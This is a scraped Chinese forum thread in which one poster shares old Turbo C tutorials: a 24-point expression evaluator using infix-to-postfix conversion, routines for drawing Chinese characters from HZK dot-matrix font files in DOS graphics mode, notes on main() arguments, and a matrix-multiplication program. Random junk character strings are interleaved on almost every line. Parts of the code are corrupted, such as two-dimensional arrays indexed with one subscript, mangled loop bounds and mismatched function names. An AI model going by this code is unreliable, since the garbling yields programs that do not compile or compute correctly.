, p4 j, R- r. D# k' g9 {% zint first(char c)' }6 n' P" F. G" a* g8 }6 M% ~
{ int p;
( f: y) l" A' s9 i/ y. ^switch(c)( U6 K2 Y$ m. n7 h/ H  D6 a
{ case '*': p=2; break;  Q8 I4 z3 D+ R7 [8 q% J
case '/': p=2; break;! ?; \0 A; n" d/ X8 k" |7 M
case '+': p=1; break;
7 x- [9 B! H6 D5 T' u0 A& Ecase '-': p=1; break;- o8 }1 C' q* r3 N7 P! Q
case '(': p=0; break;
) e. K$ h+ p8 s% Y  \) k0 r& mcase '=': p=-1; break;
: K$ k0 v6 ?: p' l. u% T" q}
1 I. X& `$ y' \$ q$ Y& oreturn(p);
9 D' b! M% N- r! v}
* D) I# \, I9 l/ Z4 p/* 此函数实现中缀到后缀的转换 */
' O3 r# j- K! E0 F+ z, U0 y1 r( ?/* M的值宏定义为20 */
  Y9 K& _3 L- I' k- N8 k/* sp[]为表达式数组 */
  t( P8 L5 _* X8 iint mid_last()
, u5 f. }& |3 w3 ?" b2 r- G{ int i=0,j=0; char c,sm[M];
  N3 k$ }. y7 S4 {$ K' gc=s[0]; sm[0]='='; top=0;
1 @1 _7 k; f; V' q4 Bwhile(c!='\0')
& Q0 o" f% f, R8 D% I* j8 D7 Z  K+ ?{ if(islower(c)) sp[j++]=c;
3 Q' L8 @& V4 W8 B9 d+ Belse switch(c)5 A& j0 j4 T/ c' s" K% v* n5 {' j) Y
{ case '+':4 Q* c7 f' {' @
case '-':
' F( i% `9 S7 l1 Ucase '*':
- J  T# u; m3 tcase '/': while(first(c)&lt;=first(sm[top]))5 Z) s# L. _# i# f
sp[j++]=sm[top--];
; \6 ~' n0 ^5 t+ }sm[++top]=c; break;! H! j$ B& H% G  |* Y
case '(': sm[++top]=c; break;
0 w/ ?0 p/ E1 P* Q! Zcase ')': while(sm[top]!='(')
( k1 [8 o: ^5 m7 F9 M' Y& s* Isp[j++]=sm[top--];
5 ^3 S+ J: f# }( q: {/ N/ O4 Gtop--; break;
$ ~3 X6 \/ n7 M# Y* R/ Fdefault :return(1);* y/ z9 X% q5 _  `
}- E9 Z% Q/ ~+ s  h, Q- @' k; K
c=s[++i];* e6 {& B( b! e" t, O' Z& q
}
" r0 r2 @! @$ ^& ~# k9 z: Ywhile(top&gt;0) sp[j++]=sm[top--];
' x/ A& `8 x% Q+ S; ~4 h, Ksp[j]='\0'; return(0);$ l. {- L8 i7 r2 @$ q
}
. \, E3 }9 d2 u' i/* 由后缀表达式来计算表达式的值 */* e1 v6 D8 z# A9 A  U# \
int calc()
- [/ u; Q( g' j0 p; ^; v{ int i=0,sm[M],tr; char c;
/ W/ e3 x' R8 Yc=sp[0]; top=-1;5 L& m/ y* @$ Z0 s3 L* a
while(c!='\0')5 n2 ]+ }* H* f( S2 z
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,; F/ p0 O$ e9 m0 W
这样才可以更方便的处理非一位数,
  K8 f' D. g2 t; U/ bver数组中存放着这些字母所代替的数*/" U  ^) C7 ?* m- ?  |+ ?
else switch(c)
- ]; G* s. S" N( N  I! H{ case '+': tr=sm[top--]; sm[top]+=tr; break;
9 A' V* l" c- v# k1 B- rcase '-': tr=sm[top--]; sm[top]-=tr; break;( k  Y5 |$ C, ^# S( S# L0 E$ `
case '*': tr=sm[top--]; sm[top]*=tr; break;
3 c$ H, V% d/ _3 {4 h9 g  T2 j( Vcase '/': tr=sm[top--];sm[top]/=tr;break;" M7 T" |$ D  ]; {
default : return(1);
+ ]. N* m% M/ Y  {4 T}
7 L% B: I( D1 _; V" F4 V9 Pc=sp[++i];
" p) t6 H* q# P}( [0 I7 e& n9 q
if(top&gt;0) return(1);( h2 T. m+ u  M, J% G7 ~) p
else { result=sm[top]; return(0); }
9 K# v1 {+ h, {0 c( E}
, o' z+ y( E( _  w, k* R- L: ]</FONT>
9 G/ X, W$ w6 i+ O9 z6 M- c  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
2 _! P8 I6 s$ W: g4 t/ G7 |+ _9 S+ U  C7 c  U$ o" J/ s% k/ d
  最后我总结了一下这其中容易出错的地方——
- ~; O/ s: o- I6 b2 `
- h7 v6 t- l3 ]3 E  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。. w; ~) V( ^0 K
* j$ Q% m4 a' D+ J* }9 |3 F' `
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。$ s# ^: l$ |1 |
9 c% U1 q) {! g
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 ( T" ]" c& M; @  f
2 l5 d' u* K8 Q6 \  Y& I7 f8 s2 m9 E
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。+ W* t7 `# d0 s5 J8 e( }; Y

8 Q3 P4 ?  r4 m2 P+ N. d$ {+ I, c$ u  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
1 W5 c- f( N/ @! }4 i% d4 A9 J, n  s: b7 H, w# u: m0 ~  U9 F
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
) T% u, Z% ?2 g0 O1 }( y
0 l" R( a% n9 g" ?' F( x  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。2 W6 E) e/ \0 V
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>+ X& @9 H* U- l" ^" f
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
$ p# E; P( e0 C7 p  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
1 F! ~( V8 f/ ~, |* u  汉字显示的第一步是打开字库文件。   A4 l2 V! m- }  b, d" a
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
; s# O. s- J# [+ l- P: f: q8 i  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
% e6 H$ u, i5 W# o/ [- T- F4 W) I{
3 y5 W$ x- L3 ^/ tunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
1 r, \' @* [5 L" \% }$ K$ o2 N  F4 _int rec,i1,i2,i3; /*z:space between;*/
! z; I( C# v: V: Q2 Glong l; /*color:txt color*/$ E( X% Q6 K" y" q# i% F& i- n
char by[32]; /*p:HZ str*/1 w  |% i( k) e
if( handle&lt;0 ) return -1; while((i=*p++)!=0){  o. i. @0 |6 w0 Y1 _# e
if(i&gt;0xa1)
5 Y, y% x( f: A: M1 m& S7 v5 fif(f==0){1 e$ ?& e. O% k1 ~
c1=(i-0xa1)&amp;0x07f;/ q5 o( _: @2 T2 }( }7 Z
f=1;
0 A9 m$ V8 c' m9 `3 O/ `8 z}
7 c( D' Z, A+ J( l8 Uelse{& _+ T( t+ d( v/ S5 R, ~' _
c2=(i-0xa1)&amp;0x07f;
( p8 W) Y2 A$ p! f3 |3 Ef=0;
8 a- K' T+ x4 {9 a5 v' prec=c1*94+c2;
2 |& i2 i/ F' Y" A$ z2 K0 Ul=rec*32L;
, z2 S- g+ S( Z/ l+ Nlseek(handle,l,SEEK_SET);4 r8 \0 J% W5 f& g0 ?4 Y% k/ I7 J
read(handle,by,32);
; ~) f4 t6 p& Q& s6 Mfor(i1=0;i1&lt;16;i1++)
1 f' Q) u" G9 }7 j* ^" e  d# E  Ffor(i2=0;i2&lt;2;i2++)
1 x0 P+ H/ c/ [# b! W5 hfor(i3=0;i3&lt;8;i3++)
' E) n+ F$ I$ [7 V4 H/ kif(GetBit(by[i1*2+i2],7-i3))
6 I1 Y1 w% Z$ H% Eputpixel(x+i2*8+i3,y+i1,color);+ u" b. G! I1 z& V6 J
x=x+z+16;% V6 H. f  G8 U1 L" A2 d
}
* `% W+ ^, R7 J  o}& U; v6 i; ~. u  U
return(x);
" s- f% _: V# }3 |% R. D: |}
. n7 Z  Z8 ~$ N6 p0 _  J& n函数GetBit定义如下:) e" W& U1 p" m) j/ Y: S+ v
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。; w0 E2 q: p1 H6 P/ ?
int GetBit(unsigned char c,int n)
' T$ |3 [, N6 g1 v4 g! M- `. Y6 b+ Z{4 T1 O' [8 Y* }2 {. q
return((c&gt;&gt;n)&amp;1);
# T* P; A3 f% k) H/ Y/ ^2 j/ F}" ]6 v8 e, z# d/ s- }2 l' ^, F
汉字显示结束,应该关闭字库文件。
+ s2 n1 E! N9 q; h* ]. qvoid CloseHz(void)
% S0 X( G- R$ L$ {{
4 H0 \. I3 G  R- e+ W' mclose( handle );9 A% H' ?* v% P/ `
}
3 C& `, j3 n/ O' \#include "\Caic\Include\Hz.h"3 S% Q6 q& e; @% Y4 l
#include <GRAPHICS.H>  }# |$ W/ {  f, t
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";5 e- N/ d9 s2 _- Z
const char* HzStr = "苦丁香C语言辅助学习软件";3 A# _+ H9 v( r
void main(){
4 D% m4 a+ o- J* Q8 P2 P7 Uint gr=DETECT,gm;
; A5 b2 ?1 I8 J2 B9 n5 Cinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");4 Y3 Q; D, q- ]8 _% E/ I. J
OpenHz( Hz16Path );5 x- s% h. [0 X8 P# E
Wrt16Hz(20,20,4,RED,HzStr);. g+ I4 E- y2 b4 F$ Y
CloseHz();
8 p! h. J) @/ e" O9 e6 Y  t( tgetch();: z+ ]; ], ?9 u
closegraph();- `% E# q" b# X# ~
}显示24点阵及放大汉字
+ ~  g6 ^; T; D# U4 T% S" n/ G  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。* v. c, }% R; }' z' u  O$ ^
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。+ Y3 s9 n9 Q; S  k; F7 |
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)$ n/ ]  [1 t  Y- T5 S
{
" u- V; O) D/ _unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/: i* N& T8 u8 _  Y: c) c' d/ w
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
& l8 ?7 B/ n& d& W  S5 F- zlong l; /*color:汉字颜色*/
/ N5 B/ @) f% W3 S( A$ [char by[72]; /*m: x 方向的放大倍数*/1 F& ]1 s2 E: Q9 m6 o
/*n: y 方向的放大倍数*/6 O7 T  b; T$ s/ M9 v5 _1 d
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
$ _0 Q, z8 X' L$ l1 ?if(i&gt;0xa1)
2 i6 L6 ?- Y( |' \! R$ O" Cif(f==0){5 v# T2 I' r% Q: u1 @
c1=(i-0xa1)&amp;0x7f;
4 v3 U& [+ l, S% @f=1;
! C3 c$ N: {3 P3 l) t4 h, H}" Q! f9 Y$ F7 b5 Z
else{
2 g, \# Z% x  d9 q6 |$ H6 kc2=(i-0xa1)&amp;0x7f;+ T- _! ^" v, i5 i- M4 f3 e+ ]# @
f=0;
: E- B& L2 a2 L8 ], J# Hrec=(c1-15)*94+c2;
, }! L' j( M: C) C  [  Pl=rec*72L;, ^" a4 j! j$ E4 l- x- y* T, ~
lseek(handle,l,SEEK_SET);- X, m# n2 O% |7 _+ w1 p1 R2 S* O8 ^
read(handle,by,72);) a* `# J: Y1 I! E( h/ H
for(i1=0;i1&lt;24*m;i1=i1+m)( f& A% {0 p% }  S5 r" J9 h5 }/ ~
for(i4=0;i4<M;I4++)
# k6 \# k( y) f* V2 G for(i2=0;i2&lt;=2;i2++)
8 I* V3 G& c1 W7 w3 G9 e3 [. `for(i3=0;i3&lt;8;i3++)
* ~% [# ~. n- Hif(GetBit(by[i1/m*3+i2],7-i3))  J# C/ @; u2 i- I+ z* A
for(i5=0;i5<N;I5++)
( g- y- y% j4 a3 S- J+ E/ |6 X putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);" c6 d/ q' h" M1 N9 V+ F$ v6 {2 w
x=x+24*m+z;% X# q9 O: b- o2 W' c
}0 _: w- l! }6 [* i* E
}
6 ^$ Y5 w/ t% D' u+ oreturn(x);
. K: G2 Y/ i3 s8 g6 A% ^} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
% A  f; Z* k6 j' J#include <GRAPHICS.H>  E3 t6 B+ A% ]7 J& j$ Y) n) O
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."3 |" ^9 p/ }9 h9 z! e( G. b
const char* HzStr = "苦丁香C语言辅助学习软件";0 C8 S5 [5 n9 M, K7 y7 X5 H. |
void main(){
8 s$ Y" ?) W0 K" Zint gr=DETECT,gm;
: ^9 ^) x* A% A/ o  p4 @initgraph(&amp;gr,gm,"\\Caic\\Bgi");# a; z# P. S- ~% }# P
OpenHz( Hz24Path );& }+ |8 l7 u% Q, a! [2 `
Wrt24Hz(20,20, /*先是在(x,y)*/" B/ M8 n6 V0 V6 d( L6 r  S
4, /*汉字间的空格为4*/3 a- l4 D2 S8 W
RED, /*用红色显示*/' l4 Q8 N$ F# Y6 ?, a$ I
2, /*x 方向放大2倍*/
+ S7 v& A" C: n5 y" P  I0 X4, /*y 方向放大4倍*/2 y$ D4 c2 \' L
HzStr); /*显示字符串*/
1 E% {# T7 i7 u8 {* v0 B1 xCloseHz();
% S. ]& X8 v: J/ x' tgetch();
; a+ T- p2 X3 j  b1 _: o/ Q# Xclosegraph();
6 f" q0 Q* d+ y/ ^2 ?}
1 T! K# _# B: K* {& O5 z</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
  H7 |. p3 v3 A& H  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
- I. R* ^# B# Y0 w1. main() 参数
8 ?- b* D& E5 d5 p0 \  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
- e; @0 \! r) O) j, a" p1 M8 g  * argc: 整数,为传给main()的命令行参数个数。
7 h5 n' [2 _/ [4 S  * argv: 字符串数组。
* O  l3 G) ?6 W/ P' @在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;7 Q: G7 O. x: e3 }$ I
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;& ?( i# q& i0 P4 E8 t
...8 l' S1 e1 b9 k) b! H
argv[argc]为NULL。! p5 `. S& X% D$ d+ M% R* S6 M
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
1 i! t* y  o2 d% n8 w值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/5 n/ N+ x' O) E6 _& n# V* Y* `$ ]! z. Z
#include&lt;stdio.h&gt;( r. f& \. g/ ?; z- ?0 l- r
#include&lt;conio.h&gt;
( h3 [! P* H6 u' A#define X 31 x% y1 i9 }1 Z/ G5 C* M
#define Y 3</P><>int a[X][Y];' v) H  E) F& c& y! N) d# R
int b[X][Y];
  k. w* k2 M( Y1 |& g- a6 C/ Pint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
. O  m6 t% {0 o! u3 ]8 Qmain()1 Y. G7 }! j2 b4 k" o
{) C$ e4 O2 R* g  M3 E7 W3 P
int i,j,temp;0 [3 Z7 W  u- S+ \# C, w- z
clrscr();
  o) F* l5 P9 y/ A4 b2 `printf("lease input int matrix b[%d][%d]\n",X,Y);
0 x  f! h1 s! \: t! ]- ?. @for(i=0;i&lt;Y;i++)
: h' t: ^/ I4 A1 b  yfor(j=0;j&lt;Y;j++){8 v1 G) `& ~( b. o, T7 I. G
scanf("%d",&amp;temp);+ ]3 R" j1 q; L  U
b[j]=temp;
1 B. O) V, G3 A% [}, T3 w: o: l" ^( ?
printf("lease input int matrix c[%d][%d]\n",X,Y);' F2 e, `( |: ~6 N) U  Y
for(i=0;i&lt;X;i++)
- a& G% h+ c5 u) efor(j=0;j&lt;Y;j++){7 q, C6 y) z% c4 P& f8 Q8 c( r
scanf("%d",&amp;temp);
7 L/ D- s+ L, E7 L0 b3 Zc[j]=temp;
: M, m5 J/ t; n8 E9 w}# g; t! r" J0 Q; {& X: e+ B
matrix(b,c);) d& l$ r" J2 G) E
printf("Now print resource matrix b[%d][%d]=",X,Y);7 t( I! }8 Y# j1 `
for(i=0;i&lt;X;i++){
! e* \0 ~% J1 T0 j$ p9 tprintf("\n");$ \' q2 w- \+ W: h
for(j=0;j&lt;Y;j++)8 K$ z  N: H; j6 J
printf("%d ",b[j]);
* v5 }2 ^) Z6 X$ u9 U( o}2 K/ k0 q" G* F* }) P
printf("\n");  b- r; G5 ~& T
printf("Now print resource matrix c[%d][%d]=",X,Y);
9 P' x$ Q3 j1 t. \, d8 }  Ufor(i=0;i&lt;X;i++){' J. }( X) N2 @# {
printf("\n");2 e$ M: ]: h- P, |4 J
for(j=0;j&lt;Y;j++)3 K+ G8 A( ^6 o. W8 h0 A6 J7 j
printf("%d ",c[j]);
/ R! n$ ?5 \5 H' S8 _' I$ A/ n) W}
4 i& R- [; d# ^" ^! ?printf("\n");
& B' }, H. V( F. l# b. iprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);1 a  z' ]# j. A$ t  j' p' @
for(i=0;i&lt;X;i++){1 D) D/ t0 T1 t: p/ T0 @
printf("\n");; N8 T: c- k& H+ d
for(j=0;j&lt;Y;j++)% u% D! h# R' m) T" j* ]
printf("%d ",a[j]);
  Q2 v% ~( G0 \8 G* M0 n4 ^}+ J8 ?+ t8 |! ^7 R2 P9 i
getch();, g. ^& C; a, V# u
return 0;' K* K8 i* p9 X4 u* Z9 ~
}! k8 n; S+ R8 y) d" r  j) v
/********************************************************************/- g, l( x% y8 ]
void matrix(int b[][X],int c[][Y])
! Z8 o3 S# v$ e. C{
9 n& Y- c  G& }; B3 Y% Mint i,j,k,temp;' z6 b  u% {8 Z* t" v0 C
for(i=0;i&lt;X;i++)
1 B6 W- S: Q' ]0 ?+ d" j9 E+ I! afor(j=0;j&lt;Y;j++){4 B, K% C% Z+ U  M; K; f
for(k=0;k&lt;Y;k++)
& X% }9 v$ N! B0 P5 s1 Va[j]+=b[k]*c[k][j];
% K! e* X0 T5 ^+ P}& _1 D$ l# ?! R
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-9-3 23:04 , Processed in 0.518929 second(s), 90 queries .

回顶部